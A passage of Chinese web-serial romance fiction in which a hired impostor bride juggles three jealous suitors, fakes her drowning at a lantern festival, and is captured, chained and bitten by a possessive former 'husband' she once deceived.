门口响起一阵脚步声,是皮鞋与大理石地面摩擦发出的咯吱声。 菘蓝眼皮子一跳。 沈错回来了! 要命,她现在衣衫不整的,屋里还有个男人,现在这种情况,要是让他看见还得了。 解释都解释不清。 神经紧绷成了一条直线,一种前所未有的战栗感从脚底直蹿天灵盖。 菘蓝抓起干净的外衣披在身上,压低声音,冲着许生急促道: “你快走,要是让他看见,他会杀了你的!” 许生有些舍不得走。 他好不容易才从四楼爬上来的。 他看向拐角的衣柜,飞速比划道: 【姐姐别急,我躲起。】 没时间争执了,菘蓝一边扣衣服一边走到门边,冲着外面道: “先别进来,我还在换衣服。” 门口的脚步声戛然而止,门上的毛玻璃映出一道影子。 她往后看了看,屋里已经没了许生的身影,刚刚合上的衣柜发出一声细微的脆响。 菘蓝顿时脑仁疼。 躲起来万一被发现了,岂不是更糟糕! 穿好衣服,她推开了门。 出乎意料,门口站着的人不是沈错,是很多天没见的周正安。 他依旧穿着优雅得体的深色西装,眸色深沉似海,嘴角抿着一丝不苟的弧度。 他的目光落在菘蓝颈间的掐痕上,平静的眸子瞬间翻起怒涛。 “他,居然把你伤成这样!” 周正安极少动怒,但看到她脖颈上紫红色的掐痕,他一直压抑的情绪瞬间爆发,攥紧的拳头咯吱作响。 菘蓝没想到来的人居然是周正安,她怔忪了片刻,下意识捂住脖颈,连忙抚慰道: “没事的,没事的,我已经快好了,小伤而已。” 她现在不想惹麻烦。 多一事不如少一事,周正安万一一生气又去找沈错...... 她想想就头痛。 “他都差点要了你的命了,你还说是小伤!” 周正安情绪有些激动,他按着菘蓝的肩,气得两只手都在发抖。 他错了。 他就不该顾忌太多,他认出她的那一天,就应该把她带回家。 什么纲常伦理,什么叶家沈家,什么尊重什么隐忍什么守护,都他妈是笑话! 就是因为他顾忌太多,总想做到万事周全,才让她受了这种苦。 男人情绪激动,手劲有点大,按得菘蓝肩膀生疼。 她睫毛颤了颤:“你,把手放开,你弄疼我了。” 周正安连忙松开手,他也意识到自己有些失态,连忙抱歉: “对不起。” 拐角的衣柜里。 许生透过柜子的缝隙,暗戳戳地往外看。 看到周正安情绪激动的模样,他心头泛起一阵疑惑。 记忆中,周家表叔总是一副沉稳持重的模样,喜怒哀乐从不行于色,基本没有什么表情。 整个人像座冰山一样。 他还是第一次见周家表叔生气发怒。 许生歪了歪脑袋,突然觉得有些不对劲。 周家表叔为什么这么生气,这么在意姐姐呢? 菘蓝偷偷瞄了一眼衣柜。 她知道许生肯定在偷听。 她不想让许生知道她跟周正安之间的关系。 本来许生跟沈错的关系就已经闹得很僵了,要是他再跟周正安闹起来,那事情就更大了。 她稳了稳心神,摆出一副拒人千里之外的模样,冷漠疏离道: “没事的,表叔,谢谢你来看我,沈错他也不是故意要伤害我的,他已经跟我道歉了,我的伤也没什么事了,过两天就能出院。” 她想赶紧息事宁人,把周正安弄走。 这声表叔,听得周正安眉头直皱: “你不要叫我表叔了,也别再装了,我早就......” 听出他下一句要说什么,菘蓝眼疾手快用手捂住了他的嘴。 唇瓣被柔软的手心覆盖,周正安身体顿时一僵,不再出声。 他读懂了菘蓝的眼神。 别说了。 不能往下说了。 她轻轻摇了摇头,用无奈又乞求的眼神看着他。 好像,她做这一切都是事与愿违的身不由已,都有不得以的苦衷。 周正安的心瞬间软了。 他还是不能太自私了,他不能只在乎自己的感受。 爱一个人,要给她足够的尊重和自由,以及最大程度的包容。 可是,他真的很想撕破脸皮,不顾一切地带她走。 屋子里突然静悄悄的,许生把助听器调解到最大,也没听到什么动静。 他悄悄扩大缝隙,往外看了一眼,看到菘蓝和周正安两个人面对面站着。 一个静默无声,一个眼底饱含着爱意和深情。 第七十章 偷拿她的小衣服 许生心头狠狠一震。 他明白了,什么都明白了。 原来周家表叔也喜欢姐姐! 蜷缩的指尖暗暗攥紧,少年眼底的温度瞬结成冰。 怎么可以! 他怎么可以喜欢姐姐!叔叔怎么可以喜欢上侄媳! 老男人变态!下流!无耻!不要脸!居然敢纠缠姐姐! 怒从心头起,恶向两边生。 许生咬着后槽牙,想冲出去揪着周.老男人的衣领,揍得他满地找牙。 就在他想动手的瞬间,突然瞥到自己衣角的拉链上挂了一个薄薄的布料。 他拿到手里一看,顿时红了脸。 那是一件蕾丝抹胸,薄薄的,软软的,还残留着一丝温热的体香。 这件抹胸,是菘蓝刚换下来的,搭在脏衣篓的边沿,被他外套的拉链勾住了。 他当时急着藏进柜子,一时间没发现。 扑通扑通..... 脸红的少年看着手里薄薄的布料,心底一阵悸动。 是姐姐的.....贴身的......小衣服...... 淡淡的体香飘进鼻尖,乱了少年的心神。 他攥着布料的手越来越烫,越来越烫。 脑海里涌出很多乱七八糟的念头,他拼命摇摇头,把不好的想法压了下去。 不行不行,等会还是把小衣服还给姐姐,他不想被姐姐误会成变态。 嗯,他偷偷收集姐姐的头绳发夹什么的,就已经很罪恶了。 要是偷拿了小衣服,姐姐肯定会很生气,说不定还要骂他变态。 不对不对,他要跟姐姐解释,他没有偷拿她的小衣服,是拉链不小心勾到的。 许生想着想着,把抹胸塞进裤兜,准备等会坦白。 就在这时,门口突然响起一道凉薄的声音。 “哟,表叔怎么来了?谁允许你来的?” 走廊里,沈错逆光站着,他遮住了灯光,风衣的衣摆落下一大片阴影。 他眼底凝着冰,面色阴沉得可怕。 他看向周正安的眼神很不善,充满杀气。 菘蓝头都大了。 唉,心累。 门口两个,屋里一个,再来一个,都能一起打麻将了。 周正安迎着沈错杀意弥漫的眼神,上前一步,挡在了菘蓝前面。 他伸出手,一把揪住沈错的衣领,愤怒地低吼: “你这个畜生,你还敢出现?” 他放在心尖尖上的人,碰一下都舍不得的人,居然被伤成这个样子。 他本来不想挑事,不想让她难办,但他一看到沈错那张欠揍的脸,就忍不住。 他是很能忍的一个人,但是今天,此时此刻,他不想忍了。 沈错冷冷看着被揪起的衣领,微微偏了偏头,然后抬手打掉周正安的手。 他掀起眼皮,反唇相讥道:“表叔,我再畜生,也没有你畜生。” 畜生到惦记自己的侄媳妇。 谁能想到,一向以正人君子自居的周家继承人,其实是个道貌岸然,觊觎自己侄媳的禽兽。 沈错伸手把菘蓝拽到自己身后,微笑着看向周正安: “看在你我叔侄一场的份上,以前的事情,我既往不咎,但你以后再敢骚扰蓝儿,我真的会弄死你哦~” 他用最温柔的语气说着最冷酷的话。 熟悉他的人都知道,他越是生气,就越爱笑。 他快要气炸了。 他表叔,他弟弟,一个个的,都觊觎他老婆! 周正安静立如渊,用如鹰隼般锐利的眼神看着沈错,声音低沉有力道: “那我也警告你,你以后再敢伤她,我也会弄死你。” 衣柜里,许生听到门口好像吵起来了。 他轻轻推了推柜子的门,想看热闹。 嗯,他想看沈错怒揍周家表叔的场景。 觊觎姐姐的老男人,很该死! 沈错眼角的余光发现屋内似乎有异动,转过头正要看向衣柜,菘蓝心一惊,连忙发出一声尖叫: “啊!我真是受够你们了!你们要是想吵架就出去吵,不要当着我面吵!” 她突如其来的叫喊吓了两人一跳。 两人都把视线转移到了菘蓝身上。 她板着小脸,双手叉腰,眼底氤氲着怒气,像只炸毛的小猫。 “我受够了!你们不要再吵了!你们直接动手打一架行不行啊! 最好都把对方打趴下,那我的耳朵就清净了!” 她需要静养,不能多说话,情绪不能波动太大。 沈错也害怕她这样大喊大叫过度使用嗓子,会导致病情恶化,连忙低哄: “好好好,不吵了不吵了,老婆你别说话了,养养嗓子。” 他怜惜地搂住菘蓝,伸手抚摸着她生气涨红的小脸。 他啊,是真拿她没办法了。 她一哭,一皱眉,一生气,他的方寸就乱了,乱得一塌糊涂。 什么理智什么风度什么原则,全都抛到了九霄云外。 他的眼里只有她,他的世界只剩下她。 她开心他就开心,她心烦他就心烦,她难过他就难过。 趁着两人的注意力都在自己身上,菘蓝背在身后的手悄悄给许生打手势。 【快走,不然一会走不掉。】 她侧着身子,站在阖了一半的门边,将屋子右侧的视线挡了个严严实实。 躲在柜子里的许生看到她的手势,轻轻推开柜子右侧的门,然后猫儿一样滚到了窗户边。 菘蓝再回头的时候,窗户大开着,窗帘被风儿吹得高高的。 她心里松了口气。 “我头有点晕,想睡一会,你们去天台打架吧,不要在我耳边吵了。” 她越是这样说,两人就越不可能打起来。 沈错直接强势地抱起她往屋里走。 周正安静静站在走廊里,他趁沈错转身的时候,冲菘蓝做了个口型。 【你想做什么就去做,有事来找我,我无条件给你兜底。】 他给她的爱,是无条件的兜底。 如果有一天,你惹了麻烦,那就来找我,我替你摆平一切。 如果有一天,你被所有人厌弃,自己都不喜欢自己了,那就来找我。 由我来喜欢你,由我来爱你。 菘蓝瞳孔微微颤了颤。 她看着他深邃而温柔的眼神,突然感觉到一种前所未有的心安。 ......... 另一边。 许生已经顺着墙根溜出了医院。 他压了压帽子,双手插进裤兜,突然感受到了一团绵软。 看着扯出来的衣料的一角,他的呼吸瞬间乱了。 他.....忘了把姐姐的小衣服还回去了。 第七十一章 谁偷了她内衣 病号服要交给医院清洗回收,但贴身衣服不用。 菘蓝想起她的抹胸还搭在脏衣篓边沿,便想着收起来。 她走到脏衣篓旁边一看,发现换下来的那条抹胸不翼而飞了。 在房间里找了两圈后,她绷着脸坐在床上,眉宇间染着一层愠怒。 很显然,有人偷了她的内衣! 进过屋子的就两个人,一个是许生,一个是沈错。 沈错虽然脸皮厚,但从来不会拿她的东西,况且他一下午都守在床边陪她,根本没去过里屋。 排除掉一个,那么剩下的那个就是小偷,而且那小偷还是个惯犯! 菘蓝红着小脸,气得锤了一下枕头。 许生那家伙越来越过分,越来越胆大包天了,连她的内衣都偷。 小小年纪不学好,该骂! 打开手机,切换屏幕,她登录上很久以前的账号,找到了许生的头像。 一点开,上千条信息像瀑布一样涌了出来。 【姐姐,我到了,你在哪。】 【姐姐,你还没来吗。】 【姐姐,我不生你气,你回来。】 【姐姐,你为什么丢了我。】 【姐姐,我错了什么吗。】 【姐姐,为什么。】 【姐姐,我想你。】 【姐姐......】 .......... 离开云都后,她就没登录过这个账号,她不想登,也不敢登。 她当初突然消失,对于许生来说等于断崖式分手。 没有解释,没有告别,没有预警,没有沟通。 一切所有的美好,仿佛都成了黄粱一梦。 看着满屏的“为什么”和“我做错了什么”,她仿佛看到那个单纯的小哑巴躲在无人的角落,无数次的痛苦地自我怀疑,自我否定。 菘蓝的心一下子揪紧,她的怒气瞬间消了一半。 指尖连点,她在输入框删掉那句“是不是你偷了我的内衣”,改成了“我的内衣是不是在你那。” “老婆~你在干嘛~” 沈错像鬼一样突然从菘蓝的身后冒了出来。 “!” 菘蓝的神经瞬间紧绷成一个感叹号。 她吓得一个激灵,把手机丢了出去。 沈错眼疾手快,一手接住她的手机,一手揽着她的腰,他把脑袋搁在菘蓝的颈窝上,笑吟吟地看着她: “老婆,你在偷看什么,这么紧张?” 说着,他的眼神往手机屏幕上飘去。 菘蓝脸色瞬间煞白,一股刺激的战栗感直冲天灵感。 “还我!” 她本能地往前一扑,伸手去夺手机。 结果用力过猛,她连着沈错一起扑到了床上。 女上男下,很经典的姿势。 沈错仰面躺在床上,有些错愕地举着手机,忽而,他挑着眼尾调笑道: “额,老婆,这里是医院,不太好吧。” 正巧,护工小姐姐来回收脏衣篓,一推开门就看见了如此火辣的场面。 她兴奋地瞪大了眼睛,关上门之前,还冲着菘蓝比了一个大拇指。 真生猛啊!姐妹! 菘蓝的脸瞬间尴尬到爆红。 啊啊啊啊! 她抄起枕头蒙在沈错的脸上,抬手狠狠捂了下去。 “都怪你啊!你要死啊!” “唔....不....不是.....夫人,要玩这么刺激吗?” 沈错配合着菘蓝,假装闷哼了几声。 菘蓝可没心思陪他玩,她的目光落在他抓着手机的右手上。 手机必须抢回来。 要是让他看到手机屏幕上的内容,那可就彻底炸了。 她一手用枕头捂住沈错,另一只手去抢手机。 沈错透过枕头下方的空隙看到了她的动作,目光一凛,一个翻身把人压在了身下。 他牢牢按住她的手腕,漂亮的眼睛微微眯着,探究地看着菘蓝: “老婆,你手机里到底有什么啊,不敢让我看。” 被压在床上的菘蓝用力扭了扭身子,却发现根本挣脱不开,她呼吸微乱,张着的红唇娇艳欲滴。 沈错凝望着她的红唇,觉得气氛都到这了,不做点什么好像有点对不起自己。 他举着手机,低头俯身吻上她的唇,然后惩罚性地轻轻咬了一下。 “不许乱动,再动还亲你。” 说完,他便去看手机屏幕。 ——嗡—— 菘蓝的脑海响起一阵忙音。 完了,全完了。 然而,就在沈错抬眼看向手机的时候,屏幕啪得一下黑了。 手机关机了。 看着屏幕里倒映出的帅脸,沈错微微皱了皱眉: “没电了?” 菘蓝在心底松了一口气。 呼,这一劫算是躲过去了。 沈错看见她眉眼松弛的模样,再次起了疑心,觉得她手机里一定有什么。 于是,他不甘心地给手机充上电,静静等待开机。 手机再次开机,菘蓝垂眸不语。 她的手机是定制的,有多重系统,系统分身的入口十分隐秘,开机默认的是正常系统,想进入分身系统还需要指令。 沈错在她手机里翻了翻,并没有翻到什么特别的东西。 随后,他又点开相册,看到了一张自己的照片。 照片是早上拍的,他在闭着眼睛睡觉,然后某人在他的脸上P了一只王八。 沈错:“.........” 菘蓝:“.........” “老婆,原来你这么喜欢我,还偷拍我。” 沈错眼底漫出雀跃的欢喜,他掐着菘蓝的腰,轻轻咬了一下她的耳垂。 菘蓝疯狂摇头否认:“没有,你别乱想!” 她真的只是单纯想P他的丑照。 她怎么可能会喜欢上一个三心二意的浪荡子。 “明明就有,不许嘴硬。” 男人眼底浸染笑意,捏着她的下巴,两指轻轻一夹,爱不释手地揉捏了两下。 菘蓝翻了个白眼,打掉他的手:“好了,不跟你闹了。” 就在这时。 沈错的手机突然响了。 他低头看了看信息,散漫的目光瞬间变得犀利。 “老婆,我有事,可能要出差两天。” 菘蓝眨巴眨巴眼睛,乖巧温柔地看着他,“嗯嗯,你去忙吧。” 去吧,去吧,再不去陪你的心上人,人家该生气喽。 沈错:“老婆,我会很快回来的。” 说完,他在她的额头落下一个吻。 等人走后,菘蓝嫌弃地擦了把脸。 狗男人终于走了,她可以跑路了! 第七十二章 我的婉婉 沈错前脚刚走,菘蓝后脚就出了院。 她脖颈上的掐痕消退了不少,再过几天就痊愈了。 离开医院后,她没有回沈园,而是去了徐家。 “菘蓝小姐,你真的要离开了?” 徐念青坐在太师椅上,他神色憔悴,消瘦的脸颊颧骨高高突起,眼皮一片乌青。 在菘蓝说出要离开的时候,他眸光黯了黯,仿佛又苍老了几岁。 “对不起,徐先生,我.....我能力有限......” 菘蓝轻咬着唇,脸上露出一抹歉意。 白楚年随时有可能杀回来,她必须得走了。 再不走,她小命怕是要交代在这里。 白楚年那个人她是知道的。 那是真正的心狠手辣。 他跟周正安和许生都不一样,他不会帮她遮遮掩掩,他不嫌事大,只会把天捅出一个窟窿。 虽然她真的很想帮徐念青查清楚事情,但........ “唉........” 徐念青叹了口气: “没事没事,不怪你,我查了十几年都没查出来。 让你一个小姑娘去冒险,我已经很过意不去了,再说了,你还帮了幼蓝......” 说着,他抱歉地看了一眼菘蓝脖颈上的掐痕。 如果不是她代替幼蓝嫁进沈家,那么现在受苦的就是他的女儿。 “五百万,我会转到你的账户上,一分不少。” 菘蓝睁大了眼睛。 按照合同,她需要把两个任务都完成,才能拿到全部的钱,否则只能拿到一半。 “徐先生,这不太好,我不能......” 她是一个很有原则的人。 该她拿的,一分也不能少。 不是她的,她一分也不会多拿。 徐念青很坚持,神色认真道: “别推脱了,拿着。 你一个小姑娘不容易,以后最好别干这种事了,容易惹麻烦,好好找个人过日子。 多出来的钱,就算是给你的陪嫁,毕竟你也喊了我这么多天的父亲。” 他目光慈爱地看着菘蓝,像是在看自己的孩子。 菘蓝鼻头一酸,用力眨了眨眼睛。 她想把眼角的泪意逼回去,结果还是没忍住,瞬间热了眼眶。 “谢谢您.....” 她的声音有些哽咽。 徐念青:“不用谢,接下来,你还需要我帮什么忙吗?” 他问的是菘蓝准备死遁的事情。 菘蓝轻轻摇了摇头:“不用麻烦您,我有帮手。” ......... 她这次的死法是——坠海。 这两天是海都一年一度的海灯节,大家都会去海边参加篝火晚会,放飞祈愿的孔明灯。 有钱的人家会包一艘轮船,整夜在海上载歌载舞。 沈家不是一般的有钱人家,是屈指可数的顶级豪门。 赫赫有名的海安航运就是沈家的产业。 听说少夫人要参加海灯节,海安航运调了三艘游轮,两条游轮保驾护航,一条游轮载着她出行玩乐。 是夜。 海岸边燃起篝火,回荡着欢声笑语。 一开始,放飞孔明灯的人并不多,只有几抹橘黄色的小点在天上转悠。 到了快十二点的时候,岸边的孔明灯连成线地飘了起来。 点成线,线成片,片成网,无数的孔明灯冉冉升起,整个夜空融成了一团橘色。 光影倒映在水中,海也有了色彩。 在橘子海,听海风,祈天灯,祝福起飞的梦。 “少夫人,您要不要放几盏灯?” 海安航运的人准备了很多孔明灯。 菘蓝要了一盏,她提起笔却不知道写些什么。 想了又想,她在灯上画了一株野草。 她画的野草是菘蓝。 橘色的烛火忽闪忽闪,在她白皙的脸上洒下一抹碎金。 她睫毛低垂,嘴角微微勾起。 那么,就祈愿她今晚成功死遁,重获新生。 她于荒颓中睁眼,亦从灰烬里重燃。 “还有很多孔明灯呢,你们也写吧,等你们写完,我们一起放飞,祝大家的愿望都能成真!” 她抱着孔明灯,笑着看向甲板上的海员和佣人们。 人群一片欢呼。 “哇!少夫人也太好了!” 所有人都写下了自己的愿望,被温暖的橘光照得双颊通红。 “三” “二” “一” 随着最后一声倒数,成千上百盏孔明灯冉冉升起。 人们的视线也转移到了空中。 “砰!” 绚烂的烟花在空中炸响,落下漫天星子。 菘蓝借着烟花的爆响,身形一晃,从船头跌进了海里。 “少夫人掉下去了!少夫人掉到海里去了!” 甲板上响起一声惊呼。 众人回头一看,看到原本站在船头的身影不见了,慌忙跑到栏杆旁往下看。 一只纤细的手在海水里沉沉浮浮,奋力挣扎着。 眨眼的功夫,那只手就沉进海里,消失不见了,像是被大海吞噬了一样。 反应过来的海员,立即跳进水里救人,甲板上乱成了一锅粥。 其实甲板上最先呼救的人,是菘蓝的同伙。 她早在呼救声响起之前,就借着燃放烟花的声音跳进了海里。 前后差了五六分钟左右。 那些海员跳下海救人的时候,她早就已经游出了很远。 而水里的那只手,不过是个小道具,遇水即融。 菘蓝借着夜色,一口气游到了礁石群。 皎洁的月色下,她悄然浮出水面,湿漉漉的长发凌乱地贴在皮肤上,裙摆像鱼尾一样随着水波摆动。 她看向一块巨大的礁石,目光闪了闪。 水里还是挺冷的,她先爬上礁石,在石头后面躲一下。 等一会,就会有人来接她了。 突然。 一张青色的大网从天而降,罩住了刚浮出水面的菘蓝。 头顶响起一道低低的笑声。 “看我抓到了什么?一条美人鱼?” 菘蓝顺着声音往上方看去,看到凸起的礁石上坐着一个人。 那人披着锦裘,肩膀上趴着一只毛茸茸的小雪貂,一头如瀑的长发垂在耳侧。 他轻轻将发丝撩到脑后,露出一张美到令人嫉妒的脸。 水中,菘蓝攥着粗粝的网绳,心头狠狠一颤: “白楚年.....” 白楚年朝她笑了笑,狭长的狐狸眼眸光流转: “又见面了,沈少夫人,哦不,我的婉婉。” 第七十三章 你让他碰你了? 逃! 菘蓝的第一反应就是赶紧逃。 哗啦一声,她瞬间潜进水底,想趁渔网还未收拢,逃进海里。 可她的举动被白楚年一眼看穿,他冷喝一声:“收!” “哗~” 青色的大网像花骨朵一样瞬间收拢,逃跑的美人鱼被吊在了海面上。 远处,有几盏灯火朝着礁石群靠近。 那是正在搜寻菘蓝的海员。 白楚年目光一凛,“把她带走。” .......... 豪华船舱里。 浑身湿漉漉的菘蓝蜷缩在地毯上,她的嘴被胶带封住,手脚拴着铁链,轻轻一动,铁链叮当作响。 或许是在冷水里泡了太久,她的身体微微抖动,像一只被雨淋湿的小鸟。 一声轻响,门开了。 白楚年缓缓走了进来,居高临下地看着她。 菘蓝脸色死白,她微睁着眼,瞳仁因恐惧不断扩散。 白楚年有一个秘密,他一直在装瘫子,凡是知道他这个秘密的人都死了。 他这样毫无顾忌地站在她面前,说明在他眼里,她已经是个死人了。 菘蓝攥着手心,眼睛眨也不眨地盯着白楚年,她像困在陷阱里的小兽,除了一点点看着猎人靠近,什么也做不了。 她不明白,白楚年是怎么摸透她的行踪的。 很显然,他早就知道了她的计划,守在礁石群守株待兔。 “你在害怕?” 白楚年抬起菘蓝的下巴,发现她的身体异常冰冷。 他皱了皱眉,把室内的温度调高,将一块毛绒绒的毯子披在她身上。 他轻轻揭下她嘴上的胶带,凝望着她道: “你有什么想要说的吗?” 菘蓝眸光闪了闪,装出一副惊慌失措的娇弱模样,她红着眼睛,颤着声道: “白先生,你为什么要绑架我。” 白楚年眉头一压,捏着她下巴的手加重了力道:“不许叫白先生,你应该叫我老公。” 她开始装糊涂,诧异地看着眼前男人: “你在说什么,我是沈家的少夫人,沈错才是我老公。” 白楚年眯着狐狸眼,唇角勾起一起冷笑: “小骗子,还装啊?你真是一点都不乖。” 说完,他拿出一个信封,把里面的纸张和照片抖落到地上。 菘蓝瞳孔颤了颤。 那是她和李家的交易信息、转账记录以及会面照片。 好啊,原来她是被雇主背刺了。 呵呵...... “你还有什么好说的吗?” 白楚年好整以暇地看着她,笑得很恣意,很森冷。 事到如今,她没什么好说得了。 铁证如山,再装下去也没什么意义。 “既然落到你手里,那要杀要剐随便你!” 她垂着眸子,跪坐在地上,一脸决绝。 常在河边走,肯定会湿脚,这一次她算是栽了。 看着菘蓝那副倔强的模样,白楚年拧了拧眉。 她欺骗了他,她最起码也应该跟他说声对不起。 怎么还一副自认倒霉的模样。 白楚年:“你......不跟我道个歉吗......” 菘蓝:“.........” 她道歉有用吗?该死不还是会死?这眦睚必报的死狐狸还能放了她? “对不起。” 她从善如流。 如果可以,她还是不想死的。 白楚年静静看着她的眼睛,微微摇头,声音中夹杂着一丝不易察觉的失落: “我听不出来你的诚意。” 菘蓝咬着唇瓣,蹙了蹙眉。 他想要什么样的诚意? 破腹自尽? 自断手脚? 以头抢地,乞求原谅? 在港城的时候,白楚年处置那些背叛他的兄弟,就是让他们三刀六洞,自己拿刀往身体上捅三个对穿。 她犯的事好像比背叛更严重。 难道他要她自裁泄愤吗? 两人的脑回路完全不在一个频道。 一个只想听一声诚恳的道歉,一个以为对方要逼她自裁。 白楚年轻轻抚摸着菘蓝的脸颊,用十分复杂的神色看着她道: “你不觉得你很残忍吗? 你欺骗了我,也欺骗了豆豆,温柔的婉婉是假的,你对我们的感情也是假的。 失去婉婉的时候我很痛苦,可是现在,你让我更痛苦,因为婉婉根本不存在。” 他被欺骗了,被骗的不止感情,还有被爱的错觉。 菘蓝抿着唇,默然不语。 说实话,她对白楚年一点愧疚感都没有。 他们一开始不是在互相演吗? 演夫妻相爱的戏码,演给对方看,演给别人看。 怎么他演着演着还当真了。 “你把我的婉婉弄没了,你要怎么赔偿我?” 白楚年扣着菘蓝的小脸,幽暗的眸子涌动着无法掩饰的愤怒。 一开始,他回去挖坟,挖出一口空棺的时候,他心里是高兴的。 他的婉婉没有死,还活着。 可是后来他才知道,她是跟李家串通好了,假扮李婉接近他,让他沉醉在她的温柔里,让他着迷,让他以为自己被爱过。 结果,他的婉婉根本不存在。 他恨透了眼前这个小骗子。 她让他觉得自己很可笑。 感受到男人眼中的怒意,菘蓝下意识往后缩了缩,她衣服的盘扣脱落了一颗,露出修长白皙的脖颈。 白楚年看见她脖颈上的红痕,目光突然一顿。 菘蓝脖颈上的掐痕已经好得差不多了,只剩下几抹红色的痕印。 看上去很像激情过后留下的吻痕。 痕迹这么久还在,足以说明当时的战况多么激烈。 白楚年脸色非常难看,他咬着牙,声音冷到了极点: “你让他碰你了?怎么敢的?” 他紧紧攥着手心,手背青筋暴起,一双眸子红得骇人。 妒火和愤怒的情绪在白楚年的胸腔里肆虐,如暴发的山洪,一路摧枯拉朽,几乎将他冲垮。 不管她是谁,她已经嫁了他,就是他的人了。 她怎么能让别的男人碰她? 结婚一年,他都不曾碰过她! 菘蓝眉心蹙了蹙,觉得这话很奇怪。 她的身体当然是她自己做主,她有什么敢不敢的? 那种事,只有愿不愿意,没有敢不敢。 她又不是谁的所有物。 男人莫名的占有欲激起了菘蓝骨子里的叛逆,她看了白楚年一眼,声音讥讽道: “他又不跟你一样装瘫子。” 第七十四章 施虐狂 他又不跟你一样装瘫子...... 这句话狠狠戳到了白楚年的神经。 他面色瞬间阴沉的可怕,目光如寒刃一般,寸寸剐过菘蓝的身体,仿佛要将她剥皮剔骨。 他一把捏住菘蓝的小脸,脸上浮现出一抹危险的笑意: “原来,你一直嫌弃我是个瘫子?” 菘蓝转头,别开了脸。 这倒没有,其实她早就发现他在装瘫。 周正安瘫痪的时候,一直是她照顾的,她知道一个真正的瘫子是什么样的。 “多说无益,你直接给我一个痛快吧,要不我自己选一个死法也行。” 装死,她是专业的。 她还得活着,她还有必须活下去的理由。 如果没有她的帮助,蓝天孤儿院肯定会关闭,到时候所有的孩子都会被分配到其他孤儿院。 院长爷爷独自撑了那么久,散尽家产也要养着那些孩子,就是不希望会有孩子重蹈她的覆辙。 “呵呵.....” 白楚年看着菘蓝,冷笑了两声:“死什么死?你死了还怎么补偿我?” 他要气死了。 这小骗子怎么一直说死不死的。 他好不容易把她找回来,怎么可能会让她死。 她欺骗了他的感情,她欠了他那么多,他要她用一辈子来偿还。 听到白楚年索要补偿,菘蓝拧了拧眉:“你要多少钱?” 白楚年:“我不要钱,我要你。” 男人紧紧攥着她细细的腕骨,像阴冷的毒蛇一样缠上去,一口咬在她的肩头。 牙齿陷进皮肉,他像泄愤一样,在她的肩头烙下属于自己的印记。 “嗯.....” 菘蓝疼得闷哼一声。 一股血腥味在房间里散开,像被雪水稀释的梅香,带着微微的甜。 男人咬得很狠,她肩头的牙印往外渗着血,像雪地里的点点红梅。 她喉咙里挤出的破碎的痛吟,让白楚年的身体感到一种前所未有的战栗和兴奋。 他很喜欢这种感觉,喜欢掌控、支配和征服的感觉。 他知道她刚刚说那句话是故意气他的。 她也确实把他气到了。 他讨厌她这种不服管教,不受掌控的样子。 她越是这样,他就越想征服她。 他凑在菘蓝耳畔,用一种迷惑低沉的声音道: “你刚刚的闷哼声真好听,我可以多听几次吗?” 菘蓝呼吸一窒。 妈的!喜欢折磨人的死变态! 还不等她反应,男人又一口咬在她的肩头,唇瓣在她的肩头辗转挪移,舔舐渗出来的血迹。 肩头火辣辣的痛,像有千万只蚂蚁在啃咬皮肉。 嘶..... 不行,她得想办法逃跑。 这男人是个施虐狂! 如果继续留在这里,她要被折磨死。 男人沉迷于她的肩颈之间,啃咬撕扯,烙下印痕。 突然,他听到一声轻微的抽泣。 她在哭,但没有发出声音。 她莹润的眸子氤氲着雾气,眼眶红红的,鼻尖也红红的。 她哭得很好看,睫毛一颤一颤的,像微风里颤巍巍盛开的花瓣,楚楚可怜。 她又咬着唇瓣,不肯发出痛吟,有一种兀自倔强的美。 白楚年的心像是被什么东西撞到了一样,狠狠颤了颤。 他松了口,替她整理好衣领。 然后,他伸手去掰她快要咬出血的唇瓣,怜惜道: “别咬了。” 她这一哭,哭得让他心烦意乱,心头的怨气也消了大半。 看到装可怜果然有效果,菘蓝眸光闪了闪。 白楚年这个人,追求绝对的服从和忠诚。 如果你表现得很叛逆,他就会很生气,会想着法子折服你。 如果你顺着他,装出一副柔柔弱弱的模样,他就不会再生气。 就是这个原因,他才喜欢李婉那种温顺像小白兔一样的女孩子。 在他眼里,哭就是示弱,就是顺从。 他的征服欲很强,喜欢服从、支配和掌控。 她,找到了白楚年的开关。 白楚年抬手帮她擦拭眼泪,声音软了下来,“你.....别哭了,我不咬你了。” 菘蓝哭得更狠了。 先是低低的抽泣,然后是小声的哭,再然后是委屈地大哭。 她的泪水像不要钱一样,哗啦啦地流。 她也最不缺眼泪,什么时候需要,什么时候就能哭得出来。 她像受尽了委屈的孩子一样,哭得肩膀耸动,哭得一抽一抽的。 眼眶红红的,鼻尖红红的,小脸红红的,很惹人怜惜。 菘蓝捂着肩膀,泪眼朦胧地控诉他:“你很过分。” 她的声音软软糯糯的,又让白楚年联想到了李婉。 他的婉婉也是这样温温柔柔,娇娇弱弱的。 在这一刻,菘蓝跟他记忆中的李婉重合在了一起。 白楚年的心瞬间软了下来,低哄道:“好了好了,是我的错,我不该弄痛你。” 他让人送来医药箱,准备给她处理伤口。 菘蓝扫了一眼医药箱,箱子里有很多东西,镊子、小剪刀、针线、酒精、纱布、棉球..... 她目光顿了顿,然后轻轻吸了吸鼻子,红着眼睛看向白楚年: “我可以自己来吗?” 白楚年点了点头。 她脱掉外衣,准备解裙子的盘扣,然后看了一眼白楚年。 白楚年很绅士地转过身去。 她动手解衣服,手腕上的铁链相互碰撞,发出叮叮当当的脆响。 她用镊子钳着棉球,目光在白楚年的背影上游移。 她在想,能不能趁这个机会,把镊子插进他的脖颈。 很快,她就否定了这个念头。 瘫子是装的,病弱说不定也是装的。 再说了,这里是他的地盘,就算她劫持了他,也不一定能顺利逃走。 她包扎完伤口后,偷偷在指尖的缝隙中藏了一根针。 她准备用来撬开手脚上的锁链。 镊子她不敢拿,医药箱里就那么点东西,镊子没了很容易发现,但针就不一样了。 针线盒里有几十根针,少了一根也不会被发现。 包扎完伤口后,她把医药箱递给白楚年。 “我用好了。” 白楚年扫了一眼,狭长的狐狸眼微微眯起,眸底泛着冷意。 “交出来。” 菘蓝心头微微一跳。 不会吧,这人不可能连针盒里有多少根针都记得吧? 不会是诈她的吧? “啊?交什么?” 她开始装糊涂。 白楚年唇角勾着笑意,用洞悉一切的目光看着她: “你说呢?” 第七十五章 囚禁 偷藏的东西被没收了。 她被囚禁在了一个空荡荡的房间里,身上不允许留有任何坚硬的东西,连耳环和衣服上的扣子都被搜走了。 她衣裳敞开,露出饱满圆润的抹胸和一截白嫩的细腰。 除了手脚,她的脖颈也戴上了项圈,项圈另一头的锁链,在白楚年手里。 “哗啦......” 